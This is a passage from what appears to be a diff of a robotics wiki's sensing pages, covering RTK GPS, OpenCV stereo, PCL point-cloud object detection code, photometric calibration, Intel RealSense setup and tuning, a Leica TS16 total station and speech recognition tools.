time: 17 ms - -### Pros: -- Pre defined/optimized OpenCV library -- Existing ROS support -- Markers can be generated using OpenCV -### Cons: -- Very high occlusion sensitivity. ( 100% visibility required, specially corners ) -- For companies: Older version licensed for commercial use. ( Missing out continuous camera tracking feature increasing the pose estimate and detection accuracy - - - -wiki/sensing/gps.md ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2020-12-06 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Using an RTK GPS -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- - - -## Introduction -Position information can be critical for achieving high accuracy localization and one way to get this information is through the use of a GPS. It is possible to put a GPS only on the robot, but to get the centimeter level accuracy provided by RTK GPS systems a base station is required to send corrections to the GPS on the robot. What follows is a series of notes and lessons learned from working with a GPS system. - -#### Notes and Lessons Learned: -- GPS Board - - https://www.sparkfun.com/products/15136 - - Robot and base station boards should match -- GPS Antenna - - https://www.sparkfun.com/products/15192 - - One of these for each the robot and the base station - - There are other similar ones available that are cheaper if budget is a concern - - Both antenna should have unobstructed open sky above them and ideally have buildings well off to the side of them - - Antennas should be on large flat metal surfaces away from the ground such as a car roof - - Aluminum foil might provide enough shielding on your robot with around a square foot of area below the antenna - - The metal shields the antennas from signals bouncing up off the ground -- Software - - U-center software - https://www.u-blox.com/en/product/u-center -- Will need to figure out how to connect the base station and robot GPS over radio - - Whip antenna for the radio - - Should be parallel ideally -- GPS signal strength - - You should be able to get 3D/DGNSS/FIXED with a few bars in the 30s and 40s dB range at the same time - - FIXED has a 2 cm uncertainty -- Connect to the GPS by - - Plugging the USB into your computer - - Receiver > Connection > COMX (on Windows for example) - -## Key Issues and how to solve them -- Setting the frame rate for the GPS - - Only should need to change the Measurement Period - - ![](/assets/images/sensing/gps1.png) - -- Making the settings permanent on the GPS - -![](/assets/images/sensing/gps2.png) - -- Poor connection between the base station and robot GPS - - -![](/assets/images/sensing/gps3.png) - -- Make sure that all the values match between the base station and robot GPS except for the target - robot should be UART2 and the base station UART1 - -- Loading a configuration file (You may not need to do this) - - -![](/assets/images/sensing/gps4.png) - - -/wiki/sensing/opencv-stereo.md ---- -date: 2017-08-15 -title: OpenCV Stereo Vision Processing ---- -For a stereo vision camera, there are multiple operations that can be done like tracking, detection, position estimation, etc. OpenCV has lot of libraries which are much faster than MATLAB's computer vision toolbox. - -## Resources -Following are some links to helpful resources: -1. Video on installing OpenCV and opencv_contrib modules: https://www.youtube.com/watch?v=vp0AbhXXTrw -2. Camera Calibration resource: http://docs.opencv.org/3.1.0/dc/dbb/tutorial_py_calibration.html#gsc.tab=0 -3. Camera calibration and 3D triangulation resources: - - http://docs.opencv.org/2.4/modules/calib3d/doc/camera_calibration_and_3d_reconstruction.html - - http://docs.opencv.org/3.1.0/d0/dbd/group__triangulation.html#gsc.tab=0 - -/wiki/sensing/pcl.md ---- -date: 2020-02-03 -title: Point Cloud Library (PCL), 3D Sensors and Applications ---- - -# Point Cloud Library - -## PCL Overview -PCL is a large scale open-source library for processing 2D and 3D images and point cloud processing. It is a state of the art library used in most perception related projects. PCL has extensive documentation and ready to use examples for segmentation, recognition, and filtering. It has data structures for kdtree, octree and pointcloud arrays which allows for very fast processing and efficient implementation. Complete documentation for PCL can be found on [their official website](http://pointclouds.org/documentation/). - -Using VocelGrid filter pointcloud can be initially downsampled and further sparsification of Kinect data can be done using PassThrough filters. After these basic filtering, you can further perform clustering, cylinderical, or planar segmentation in real-time applications. The PCL tutorials are helpful even if you are an expert and can be found [here](http://pointclouds.org/documentation/tutorials/index.php#filtering-tutorial). - -## Installing PCL from source and ros_pcl -Although PCL comes installed with ROS full installation by default, a complete installation of PCL from source might be required in some circumstances along with CUDA for GPU processing. An exhaustive tutorial for the same and also shows how to install openNI can be found [here](https://robotica.unileon.es/mediawiki/index.php/PCL/OpenNI_tutorial_1:_Installing_and_testing). - ---- -# 3D Sensors using PCL - -1. ## Microsoft Kinect - - ![Kinect](/assets/images/sensing/kinect.jpg) - - ### Overview: - Kinect for Xbox 360 is a low-cost vision device equipped with one IR camera, one color camera, and one IR projector to produce RGB images as well as voxel (depth-pixel) images. The RGB video stream gives an 8-bit VGA resolution (640 x 480 pixels) with a Bayer color filter, while the monochrome depth-sensing video stream is in VGA resolution. The sensor has an angular field of view of 57 degrees horizontally and 43 degrees vertically. Kinect has been reverse engineered to a great extent by the open-source community which has revealed many facts on how depth is measured. Kinect uses a structured light approach form in which we can extract the time of return. They use a standard off-the-shelf CMOS sensor for the same. - - ### Libraries for MS Kinect Interfacing in Ubuntu - Many different open-source libraries can be chosen from for interfacing with Kinect in Ubuntu. Kinect for Windows provides direct interfacing for Windows-based computers. The libraries for Ubuntu are: - - * #### OpenNI and OpenNI2 - * The older version of Kinect supports openNI whereas the newer version of Kinect uses openNI2. The installation and usage of openNI2 as a standalone library can be found here: http://structure.io/openni - - * #### libfreenect and libfreenect2 - libfreenect is also a reliable library that can be used and in my experience have proven to be more reliable than openNI. The only drawback is that while openNI and openNI2 can be used for other sensors such as Asus Xtion Pro or Orbecc Astra depth camera, libfreenect is mostly suited for Kinect only. Useful information on getting started with libfreenect can be found here: https://github.com/OpenKinect/libfreenect - - The full distribution of ROS also includes these libraries by default and the documentation for that can be found at the following links: - * General libfreenect: http://wiki.ros.org/libfreenect - * freenect_launch: http://wiki.ros.org/freenect_launch - * Use `freenect_launch` to access depth data stream which can be visualized on RVIZ. - * openni_launch: http://wiki.ros.org/openni_launch - * Similar to libfreenect_launch - - ### Further Reading - [This Masters thesis](https://www.nada.kth.se/utbildning/grukth/exjobb/rapportlistor/2011/rapporter11/mojtahedzadeh_rasoul_11107.pdf) is a complete guide for using MS Kinect for navigation. - -2. ## Intel Realsense D435i - - ![Realsense](/assets/images/sensing/realsense.jpg) - - ### Overview: - The Intel® RealSense™ Depth Camera D400 Series uses stereo vision to calculate depth. The D435 is a USB-powered depth camera and consists of a pair of depth sensors, an RGB sensor, and an infrared projector. It gives a good depth map a well the processed reconstructed 3D point clouds. - The Intel® RealSense™ D435i is a depth camera that includes a Bosch BMI055 6-axis inertial sensor in addition to the depth camera which measures linear accelerations and angular velocities. Each IMU data packet is timestamped using the depth sensor hardware clock to allow temporal synchronization between gyro, accel and depth frames. - - ### Libraries for Intel Realsense Interfacing in Ubuntu - Many different open-source libraries can be chosen from for interfacing with Realsense in Ubuntu: - * #### SDK - Follow the guidelines at the [official librealsense documentation](https://github.com/IntelRealSense/librealsense) - - * #### ROS - This is the most popular and used interface for Robotics applications. You don't have to worry about connecting various stacks such as input, execution in different programming languages, communication protocols, etc. when you have ROS. Follow the guidelines at the [official realsense-ros documentation](https://github.com/IntelRealSense/realsense-ros) - - * #### OpenNI2 - Depth cameras are widely used in a variety of industries, but this technology continues to evolve and new devices hit the market regularly. A solution to the above problems is to use a common framework with a common structure that provides all the basic tools to work with different depth cameras. This is the problem solved by OpenNI2®. - Follow the guidelines at the [official librealsense openni2 documentation](https://github.com/IntelRealSense/librealsense/tree/master/wrappers/openni2) - ---- -# Applications of PCL - -* ## Why is PCL useful? - Recently deep learning has replaced classical vision techniques for various tasks like segmentation and detection. This makes us oblivious to simple and efficient open-source resources for computer vision like PCL and OpenCV. This post will guide you to learn and exploit the power of PCL (Point Cloud Library) which is recently getting more open source contributions after the initial release in 2014. - - One significant application is general 3D object detection (without category label), pose and size estimation for small objects on planar surfaces with dense point clouds from a stereo camera. - - For 3D point-clouds deep learning techniques require several hours of training and the inference is not real-time. It only works for objects that it is trained for and large data collection is required. We will tackle all these problems with a real-time pipeline for object detection, pose and size estimation with PCL. Much simpler ML techniques like SVD can then be applied to the output for classification. - -* ## Point Clouds from Stereo Camera - The robot's depth sensor works by combining a depth camera and an RGB camera. The depth camera tells you how far each pixel is from the camera, while the RGB camera tells you the color of that pixel. These images can be combined into an RGBD (red/green/blue/depth) image, which is often represented as point clouds. A point cloud is simply a list of points, where each point represents an X/Y/Z position and, optionally, R/G/B color. - -* ## 3D Object Detection - - The following describes the pipeline in python, which can be improved for speed with C++ implementation: - - 1. **Get the point clouds by running launch file.** - - ```roslaunch realsense2_camera rs_camera.launch filters:=pointcloud``` - - 2. **Input raw point cloud from ROS** - - The fist step is to read the data coming from the RGBD sensor. We subscribed to the /camera/depth/color/points topic: - - ```python - # ROS node initialization - rospy.init_node('clustering', anonymous=True) - # Create Subscribers - pcl_sub = rospy.Subscriber("/pr2/world/points", pc2.PointCloud2, pcl_callback, queue_size=1) - ``` - The function pcl_callback will then be called every time the sensor publishes a new pc2.PointCloud2 message. - - ![original](/assets/images/sensing/original.png) - - 3. **Voxel Filter Downsampling** - - As it turns out 3D Cameras can at times provide too much information. It is often desirable to work with lower resolutions as well as to limit the focus to a specific region of interest (ROI). - To reduce the resolution of the camera input down to a tractable amount we apply a downsampling filter that reduced the resolution down to 1 cubic cm: - - ```python - # Voxel Grid Downsampling - vox = plc_msg.make_voxel_grid_filter() - LEAF_SIZE = 0.01 - # Set the voxel (or leaf) size - vox.set_leaf_size(LEAF_SIZE, LEAF_SIZE, LEAF_SIZE) - downsampled = vox.filter() - ``` - - ![downsampled](/assets/images/sensing/downsampled.png) - - 4. **Region cropping** - - Then to narrow the focus to the table we apply a pass through filter on the 'z' and 'y' axis to only capture points above and within the table: - - ```python - # PassThrough Filter - passthrough = outliers_removed.make_passthrough_filter() - # Assign axis and range to the passthrough filter object. - filter_axis = 'z' - passthrough.set_filter_field_name(filter_axis) - axis_min = 0.6 - axis_max = 1.1 - passthrough.set_filter_limits(axis_min, axis_max) - passed = passthrough.filter() - # Limiting on the Y axis too to avoid having the bins recognized as snacks - passthrough = passed.make_passthrough_filter() - # Assign axis and range to the passthrough filter object. - filter_axis = 'y' - passthrough.set_filter_field_name(filter_axis) - axis_min = -0.45 - axis_max = +0.45 - passthrough.set_filter_limits(axis_min, axis_max) - passed = passthrough.filter() - ``` - - ![cropped](/assets/images/sensing/cropped.png) - - 5. **RANSAC ground segmentation** - - Now we need to start identifying the elements in the scene. We use RANSAC to fit a plane in the point cloud. We can then separate the objects from the table: - - ```python - # RANSAC Plane Segmentation - seg = passed.make_segmenter() - seg.set_model_type(pcl.SACMODEL_PLANE) - seg.set_method_type(pcl.SAC_RANSAC) - max_distance = LEAF_SIZE - seg.set_distance_threshold(max_distance) - inliers, coefficients = seg.segment() - - # Extract inliers and outliers - # Extract inliers - tabletop - cloud_table = cloud_filtered.extract(inliers, negative=False) - # Extract outliers - objects - cloud_objects = cloud_filtered.extract(inliers, negative=True) - ``` - - ![ransac1](/assets/images/sensing/ransac1.png) - - ![ransac2](/assets/images/sensing/ransac2.png) - - Here Inliers are the points that fit a plane equation, therefore, they should belong to the table. On the other hand, outliers are the remaining points that represent the objects over the table. - - 6. **Statistical outlier removal** - - Statistical Outlier Filtering is used to remove outliers using the number of neighboring points of 10 and a standard deviation threshold of 0.001 - - ```python - def do_statistical_outlier_filtering(pcl_data,mean_k,tresh): - ''' - :param pcl_data: point could data subscriber - :param mean_k: number of neighboring points to analyze for any given point (10) - :param tresh: Any point with a mean distance larger than global will be considered outlier (0.001) - :return: Statistical outlier filtered point cloud data - ''' - outlier_filter = pcl_data.make_statistical_outlier_filter() - outlier_filter.set_mean_k(mean_k) - outlier_filter.set_std_dev_mul_thresh(tresh) - return outlier_filter.filter() - ``` - - 7. **Euclidean clustering + post-processing** - - Finally, we use Euclidean Clustering to distinguish the objects from one another. This approach differs from k-means in the sense that it doesn't require the prior knowledge of the number of objects we are trying to detect. Unfortunately, it uses a hierarchical representation of the point cloud that can be computationally expensive to obtain. - - ```python - # Euclidean Clustering - white_cloud = XYZRGB_to_XYZ(cloud_objects) - tree = white_cloud.make_kdtree() - # Create a cluster extraction object - ec = white_cloud.make_EuclideanClusterExtraction() - # Set tolerances for distance threshold - # as well as minimum and maximum cluster size (in points) - ec.set_ClusterTolerance(LEAF_SIZE*2) - ec.set_MinClusterSize(10) - ec.set_MaxClusterSize(2500) - # Search the k-d tree for clusters - ec.set_SearchMethod(tree) - # Extract indices for each of the discovered clusters - cluster_indices = ec.Extract() - ``` - - ![cluster](/assets/images/sensing/cluster.png) - - 8. **Sprinkle some machine learning** - - That's it! Now that we have all objects separated from one another it is time to classify them. For that, we can use a simple but powerful Machine Learning tool: Support Vector Machine (SVM). The next steps are for you to discover! - -* ## 3D SLAM - - The popular package RTABMAP SLAM uses a lot of functionality from the PCL library and is an important application of the 3D stereo cameras. - - Follow [this detailed tutorial](https://github.com/IntelRealSense/realsense-ros/wiki/SLAM-with-D435i) which runs RTABMAP 3D slam out of the box with the ros packages. We don't have to configure any topics for realsense camera. Everything works great, once you run the launch file. - - Here is a visualization of a sample mapped environment. - - ![RTABMAP](/assets/images/sensing/slam.png) - -/wiki/sensing/photometric-calibration.md ---- -date: 2017-08-21 -title: Photometric Calibration ---- - -## Background -Digital cameras of today have CMOS based sensors to convert the light incident (irradiance) on them into digital values. These sensors have a characteristic Inverse Camera Response Function (ICRF) which maps the irradiance to the pixel value generated (typically between 0-255). In the cameras we use, the ICRF curve is adjusted so that the color reproduced in the digital pixels resemble what our human eye can see. This is particularly useful for consumer products but when one is using cameras for scientific applications ranging from vision systems in autonomous cars to 3D reconstruction, it is imperative to have the true pixel value to be calibrated to the true irradiance values on the CMOS sensor. - -## Problem -The goal is to obtain the absolute value of light intensity and calibrate the CMOS sensor output of the camera to match the said absolute value of light intensity. Highest accuracy and precision are desired. - -There are two ways of approaching this problem: -1. **Method I:** Get the value of the intensity of light of the surface using Photometers/Lux meters/Radiometers. -2. **Method II:** Use a standardized light source with controllable wavelength and intensity. - -A comparative overview of the two stated methods has been given below in **Table 1**, each advantage is given an *unweighted score of 1:* -**Table 1** - - |Method I | Method II ----|---|--- -Principle of Operation | Uses a transducer to convert light intensity to a digital signal. | Uses a transducer to convert digital signals into light waves. -Sensor/Transducer | Silicon(doped) Photodiode | Silicon(doped) LED / Tungsten Filament -Cost | **$ - Cheap** | $$$ - Expensive -Luminous efficiency error | 9% - High | **0.001% - Low** -Dependence on ambient light | In-effective/false positives under fluorescent lighting | **Independent of ambient lighting** -Response time | 5 s | **0.500 s** -Characteristics of oblique incidence/ Luminance Spatial uniformity | Incidence: 10° ±1.5% / 30° ±3% / 60° ±10% /80° ±30% | **Spatial Uniformity: >94% over 360° x 200° field of view** -Spectral range | Lux meter: 1; Photometer: 850 nm to 940 nm | **Visible, 850 nm to 940 nm** -Spectral mismatch | 1% | **>0.00001%** -Luminescence range | **0.0 to 999 cd/m2** | 0 to 700 cd/m2 -Typical application| Lux meter: Ambient light; Photometer/Radiometer: Color of surfaces. | **Calibration of Lux meters, Photometers, Radiometers, Cameras & other optical equipment.** -Operational features | Comparatively less stable output; Needs regular calibration; Integration with desktop on select models. | **Precise control. Easy integration with desktop. Long life. Stable output** -Total score | 2/10 | **7/10** - - -## Result -Method II is the most desirable way to go about solving the problem at hand. - -## Recommendations -1. [Gamma Scientific](http://www.gamma-sci.com/products/light_sources/) -2. [Labsphere](https://www.labsphere.com/labsphere-products-solutions/imager-sensor-calibration/) - - -## References -Use these for choosing the type of validation of photometric calibration: - -1. https://www.labsphere.com/site/assets/images/files/2928/pb-13089-000_rev_00_waf.pdf -- http://ericfossum.com/Publications/Papers/1999%20Program%20Test%20Methodologies%20for%20Digital%20Camera%20on%20a%20Chip%20Image%20Sensors.pdf -- http://sensing.konicaminolta.us/2013/10/measuring-light-intensity-using-a-lux-meter/ -- http://tmi.yokogawa.com/products/portable-and-bench-instruments/luxmeters/digital-lux-meters/ -- http://ens.ewi.tudelft.nl/Education/courses/et4248/Papers/Niclass12.pdf -- http://photo.net/learn/dark_noise/ -- http://ro.ecu.edu.au/cgi/viewcontent.cgi?article=2497&context=ecuworks -- http://personal.ph.surrey.ac.uk/~phs1pr/mphys-dissertations/2007/Wallis.pdf -- http://tmi.yokogawa.com/files/uploaded/BU510_EN_050.pdf -- http://repository.tudelft.nl/islandora/object/uuid:5ea21702-d6fb-484c-8fbf-15c5b8563ff1/datastream/OBJ/download - -## Foot Notes -LED light source is preferred over tungsten filament based source as it has the below-stated superiority: -1. Life -2. Heat/IR – minimum -3. Multitude of Wavelengths generated -4. Precise selection of Wavelength & Intensity - -/wiki/sensing/realsense.md - - ---- -date: 2020-12-09 -title: Realsense RGB-D camera -published: true ---- -This article serves as an introduction to the Intel Reansense D400 series RGB-D cameras. It details the SDK installation process, ROS intergration, sensor calibration and sensor tuning. Following the intructions in the SDK and the ROS Package section, readers should be able to launch the sensor through ROS and browse through the published topics. The calibration and tuning sections of the articles allow advanced users to ensure the best sensor reading quality. - - -## Sensor Overview -Intel® RealSense™ D400 Series Depth Cameras are small, easily-interfaced multifunctional camera sensors, which provide various sensor functionalities, such as RGB camera view, depth camera view, fisheye camera view, infrared camera view, along with calibration information and inertial data. - -## SDK -The RealSense camera package allows access to and provides ROS nodes for Intel 3D cameras and advanced modules. The SDK allows depth and color streaming, and also provides camera calibration information. -The source code can be downloaded and built from this repository: -https://github.com/IntelRealSense/librealsense/ - -## ROS Package -### Installation instructions -Step 1: Install the latest Intel® RealSense™ SDK 2.0 -Install from Debian Package - In that case treat yourself as a developer. Make sure you follow the instructions to also install librealsense2-dev and librealsense-dkms packages. - -OR - -Build from sources by downloading the latest Intel® RealSense™ SDK 2.0 and follow the instructions under Linux Installation - -Step 2: Install the ROS distribution (ROS Kinetic, on Ubuntu 16.04) - -Step 3: Install Intel® RealSense™ ROS from Sources - -Create a catkin workspace - -``` -mkdir -p ~/catkin_ws/src -cd ~/catkin_ws/src/ -``` - -Clone the latest Intel® RealSense™ ROS from here into 'catkin_ws/src/' - -``` -git clone https://github.com/IntelRealSense/realsense-ros.git -cd realsense-ros/ -git checkout `git tag | sort -V | grep -P "^\d+\.\d+\.\d+" | tail -1` -cd .. -``` -Make sure all dependent packages are installed. You can check .travis.yml file for reference. -Specifically, make sure that the ros package ddynamic_reconfigure is installed. If ddynamic_reconfigure cannot be installed using APT, you may clone it into your workspace 'catkin_ws/src/' from here (Version 0.2.0) - -``` -catkin_init_workspace -cd .. -catkin_make clean -catkin_make -DCATKIN_ENABLE_TESTING=False -DCMAKE_BUILD_TYPE=Release -catkin_make install -echo "source ~/catkin_ws/devel/setup.bash" >> ~/.bashrc -source ~/.bashrc -``` - -### Start Camera Node -roslaunch realsense2_camera rs_camera.launch -Will start the camera node in ROS and stream all camera sensors. - -### Published ROS Topics -The published topics differ according to the device and parameters. After running the above command with D435i attached, the following list of topics will be available (This is a partial list. For full one type rostopic list): - - -- /camera/color/camera_info -- /camera/color/image_raw -- /camera/depth/camera_info -- /camera/depth/image_rect_raw -- /camera/extrinsics/depth_to_color -- /camera/extrinsics/depth_to_infra1 -- /camera/extrinsics/depth_to_infra2 -- /camera/infra1/camera_info -- /camera/infra1/image_rect_raw -- /camera/infra2/camera_info -- /camera/infra2/image_rect_raw -- /camera/gyro/imu_info -- /camera/gyro/sample -- /camera/accel/imu_info -- /camera/accel/sample -- /diagnostics -- ...... - -## Calibration -### Intrinsic Calibration -The intrinsics of the camera module can be found in the /camera/color/camera_info topic when the realsense camera is launched through ROS. The K matrix in the published topic corresponds to the intrinsics matrix. -The intrinsic of the camera module can be calibrated with the matlab single camera calibration App. www.mathworks.com/help/vision/ug/single-camera-calibrator-app.html -The general steps are as follows: -1. Prepare images, camera, and calibration pattern. - -2. Add images and select standard or fisheye camera model. - -3. Calibrate the camera. - -4. Evaluate calibration accuracy. - -5. Adjust parameters to improve accuracy (if necessary). - -6. Export the parameters object. - -Note: The checkerboard required can be generated on this site [https://calib.io/pages/camera-calibration-pattern-generator](https://calib.io/pages/camera-calibration-pattern-generator). After printing out the checkerboard, make sure to measure the box sizes and verify the print accuracy.Printers can be very inaccurate sometimes. Remember to stick the checkerboard on a piece of flat cardboard. When taking pictures of the checkerboard, make sure to take the pictures at different angle and different distant. - -### Extrinsic Calibration -The realsense sensors are calibrated out of the box. However, if the sensor was dropped or there is a high amount of vibration in your application it might be worthy to recalirate the extrinc of the sensor for better depth map quality. The extrinsic here refers to the coordinate transformation between the depth modules and the camera on the sensor. For this task, intel has developed a dynamic calibration tool([https://www.intel.com/content/dam/support/us/en/documents/emerging-technologies/intel-realsense-technology/RealSense_D400_Dyn_Calib_User_Guide.pdf](https://www.intel.com/content/dam/support/us/en/documents/emerging-technologies/intel-realsense-technology/RealSense_D400_Dyn_Calib_User_Guide.pdf)). -Two types of dynamic calibrations are offered in this tool: - -1. Rectification calibration: aligning the epipolar line to enable the depth pipeline to work correctly and reduce the holes in the depth image - -2. Depth scale calibration: aligning the depth frame due to changes in position of the optical -elements - - -## Tuning and Sensor Characteristics -### Optimal Resolution -The depth image precision is affected by the output resolution. The optimal resolutions of the D430 series are as follow: -- D415: 1280 x 720 -- D435: 848 x 480 - -Note: - -1. Lower resolutions can be used but will degrade the depth precision. Stereo depth sensors -derive their depth ranging performance from the ability to match positions of objects in the -left and right images. The higher the input resolution, the better the input image, the better -the depth precision. - -2. If lower resolution is needed for the application, it is better to publish high resolution image and depth map from the sensor and downsample immediately instead of publishing low resolution image and depth map. - -### Image Exposure - -1. Check whether auto-exposure works well, or switch to manual exposure to make sure you -have good color or monochrome left and right images. Poor exposure is the number one -reason for bad performance. - -2. From personal experience, it is best to keep auto-exposure on to ensure best quality. Auto exposure could be set using the intel realsense SDK or be set in the realsense viewer GUI. - -3. There are two other options to consider when using the autoexposure feature. When -Autoexposure is turned on, it will average the intensity of all the pixels inside of a predefined -Region-Of-Interest (ROI) and will try to maintain this value at a predefined Setpoint. Both -the ROI and the Setpoint can be set in software. In the RealSense Viewer the setpoint can -be found under the Advanced Controls/AE Control. - -4. The ROI can also be set in the RealSense Viewer, but will only appear after streaming has -been turn on. (Ensure upper right switch is on). - - -### Range - -1. D400 depth cameras give most precise depth ranging data for objects that are near. The -depth error scales as the square of the distance away. -2. However, the depth camera can't be too close to the object that it is within the minz distance. -The minZ for the D415 at 1280 x 720 is 43.8cm and the minz for the D435 at 848x480 is 16.8cm - -### Post Processing -The realsense SDK offers a range of post processing filters that could drastically improve the quality. However, by default, those filters aren't enabled. You need to manually enable them. To enable the filters, you simply need to add them to your realsense camera launch file under the filters param [https://github.com/IntelRealSense/realsense-ros#launch-parameters](https://github.com/IntelRealSense/realsense-ros#launch-parameters). The intel recommended filters are the following: - -1. **Sub-sampling**: Do intelligent sub-sampling. We usually recommend doing a non- -zero mean for a pixel and its neighbors. All stereo algorithms do involve someconvolution operations, so reducing the (X, Y) resolution after capture is usually -very beneficial for reducing the required compute for higher-level apps. A factor -of 2 reduction in resolution will speed subsequent processing up by 4x, and a scale -factor of 4 will decrease compute by 16x. Moreover, the subsampling can be used -to do some rudimentary hole filling and smoothing of data using either a non-zero -mean or non-zero median function. Finally, sub-sampling actually tends to help -with the visualization of the point-cloud as well. - -2. **Temporal filtering**: Whenever possible, use some amount of time averaging to -improve the depth, making sure not to take “holes” (depth=0) into account. There -is temporal noise in the depth data. We recommend using an IIR filter. In some -cases it may also be beneficial to use “persistence”, where the last valid value is -retained indefinitely or within a certain time frame. - -3. **Edge-preserving filtering**: This will smooth the depth noise, retain edges while -making surfaces flatter. However, again care should be taken to use parameters -that do not over-aggressively remove features. We recommend doing this -processing in the disparity domain (i.e. the depth scale is 1/distance), and -experimenting by gradually increasing the step size threshold until it looks best for -the intended usage. Another successful post-processing technique is to use a -Domain-Transform filter guided by the RGB image or a bilinear filter. This can help -sharpen up edges for example. - -4. **Hole-filling**: Some applications are intolerant of holes in the depth. For example, -for depth-enhanced photography it is important to have depth values for every -pixel, even if it is a guess. For this, it becomes necessary to fill in the holes with -best guesses based on neighboring values, or the RGB image. - - - - - -## References -- https://www.intel.com/content/dam/support/us/en/documents/emerging-technologies/intel-realsense-technology/BKMs_Tuning_RealSense_D4xx_Cam.pdf -- https://www.intel.com/content/dam/support/us/en/documents/emerging-technologies/intel-realsense-technology/RealSense_D400_Dyn_Calib_User_Guide.pdf -- [https://github.com/IntelRealSense/librealsense/tree/86280d3643c448c73c45a5393df4e2a3ddbb0d39](https://github.com/IntelRealSense/librealsense/tree/86280d3643c448c73c45a5393df4e2a3ddbb0d39) -- [https://github.com/IntelRealSense/realsense-ros](https://github.com/IntelRealSense/realsense-ros) - - -/wiki/sensing/robotic-total-stations.md ---- -date: 2022-12-05 -title: Robotic Total Station (Leica TS16) ---- -This page will go into detail about to get started with the TS16 Total Station, manufactured by Leica Geosystems. This information is likely helpful for other robotic total station integration, but is has not been tested. - -### How does it work? - -Total stations have an extended heritage in civil engineering, where they have been used to precisely survey worksites since the 1970s. The total station sends beams of light directly to a glass reflective prism, and uses the time-of-flight properties of the beam to measure distances. The robotic total station tracks it's calibration orientaiton to high precision, such that the measured distance can be converted into a high-precision 3D position mesaurement. Total stations, depending on the prism type and other factors, can accurate track with in millimeter range at up to 3.5km [Leica-Geosystems](file:///home/john/Downloads/Leica_Viva_TS16_DS-2.pdf). - -![Example usage of a Total Station in the Field](/assets/images/sensing/assets_leica_field_image.jpg) -[Source](https://leica-geosystems.com/) - -### Best Use Cases & Expected Quality - -There are various companies that make robotic total stations including Leica and Trimble. While there is a wide variety of abilities between different models, there are certain key characteristics that matter when used as a real-time positioning system: - -- Range (How far does this need to work at?) -- Angular tracking ability (Can the total station track objects moving closeby?) -- Frequency (How often does it provide measurements?) - -Accuracy is the bottom line for robotic total stations. If the system is able to maintain line-of-sight with the total station, it is reasonable to expect <2cm accuracy in positioning, even over rather large distances (unknown exactly). This is especially valuable since it can provide an accurate positioning in XYZ, rather than just XY like many alternatives. - -### Limitations - -The key limitation of the total station is that it requires constant line-of-sight with the reflector prism it is tracking. Unlike other methods such as UltrawideBand or Ultrasonic positioing, recovery is not trivial. - -While certain companies like Caterpillar have official partnerships with total station manufacturers to allow for seemless integration with their vehicles [source](https://www.constructionequipment.com/technology/construction-technology-software/news/10757055/caterpillar-and-trimble-announce-change-to-joint-venture-providing-greater-flexibility-and-customer-focus), this technology is not currently available in such a robust manner to all. For that reason, "hacking" a total station to provide real-time sensory information made result in a unknowable latency with difficult to characterize dropout at times. While this did not become a detriment while the author was working on it, it's important to note. - -Additionally, it's possible for the total station to lose it's track of the reflective prism, meaning that it ceases to provide valuable data. In a more robust system, there could be an automatic search process to return to a tracked state, but it is not explored in this wiki. - -## Setup - -In order to setup a total station tracking system, it's important to have all of the hardware: - -### Hardware - -This method has been tested on a TS16, but it would likely work on a TS15 or other Leica products. Most total stations use a [GEOCOM communication standard](https://www.naic.edu/~phil/hardware/theodolites/TPS1200_GeoCOM_Manual.pdf), which means that it's very likely that a similar serial interface could be adapted for most total station hardware. Leica hardware is particularly expensive, so a brand new total station with the best tracking specifications will run approximately [$30k](https://www.allenprecision.com/leica-viva-ts16p-series-robotic-packages). - -The other side of the total station is the reflector, which is used to get the high precision ranging. This is an important piece of hardware, especially in this use case. Since the prism will be moving, having high quality glass will reduce the imperfections that could cause the reflected beam to be off-center, resulting in a higher likelihood of losing tracking of the prism. A high quality prism from Leica will cost more than [$1k](https://www.allenprecision.com/360-reflector). - -![Leica GRZ122 360 Prism](/assets/images/sensing/leica_360_prism.jpeg) -[Source](https://leica-geosystems.com/) - -In order to connect the total station to a compute platform, it's possble to use wired or wireless methods. This wiki only explores the usage of USB connections using Leica's custom (and [expensive](https://www.baselineequipment.com/leica-instrument-to-datacollector-laptop-usb-cable)) cable. - -### Calibration - -In order to calibrate the total station, there are various ways to do it, all outlined in [various videos online](https://www.youtube.com/watch?v=ozbow6OgUlQ). - -The simplest way to calibrate the total station in a repeatable fashion is to use the "Orientate to Line" method. The context for the following instructions is to create fixed locations (fixtures) that allow a repeatably placed reflector location at both sites. By default, the line created by these reflectors would now become the X-axis of the local coordinate frame (which can be transformed into any other desired frame at a later point). - -1. Prepare reflector -2. Attach reflector to fixture-1 -2. Change the Target settings of total station to `REFLECTOR_TYPE` (Settings -> TS Instrument -> Measure & Target) -3. Go to Home -> Setup -4. Choose the “Orientate to Line” method -5. Measure two points that define an axis. -6. Use default settings (no changes required) -7. The first measured point becomes (0,0) -8. The second line determines the vector of the axis -9. Derive setup height from “Manually enter”. Leave 0.0 as the value -10. Place the reflector in Location A (see Figure 1) via S-hook attachment -11. Ensure the reflector is being tracked via the top bar options (“Target tracking on”) -12. Press “Measure” to measure the first location -13. Move reflector to fixture-2 -14. Press “Measure” to measure the second location -15. Press “set” to finish calibration - -At this point, any measurement that comes out of the total station will be with respect to the two measured points, which can be repeated for consistent testing and application. - -### Publicly Available ROS/ROS2 Nodes - -In order to setup the TS16 node into a ROS/ROS2 environment, follow the instructions in the repositories below: - -[ROS](https://github.com/arpit6232/Leica_Total_Station_ROS) - -[ROS2](https://github.com/John-HarringtonNZ/ts16_ros2_node) - - - -/wiki/sensing/speech-recognition.md ---- -date: 2023-05-02 -title: Speech Recognition ---- -Speech Recognition can be a very efficient and powerful way to interface with a robot. It has its downsides since it requires a parser to do something intelligent and be intuitive to use. Also, it is not the most reliable mode of communication since it is plagued with background noise in a regular environment and is prone to false matches. - -## Resources - -Here are a few resources to implement speech recognition: -- Offline - - Among the various options available online, CMU Sphinx is the most versatile and actively supported open source speech recognition system. It gives the user a low level access to the software. You can create custom dictionaries, train it with custom data set, get confidence scores and use C++, Java or Python for development. To get started you can go through the documentation provided here: http://cmusphinx.sourceforge.net/wiki/ - - Many acoustic and language models are available for download over [here](https://sourceforge.net/projects/cmusphinx/files/Acoustic%20and%20Language%20Models/) - - Even though these might not perform great, they still provide a solid starting point. One can implement many filtration techniques to get the best output by utilizing confidence scores, setting custom dictionaries and sentence structures. -- Online - - If internet connectivity and uploading data online is not an issue, Google's Speech API massively outperforms any offline system 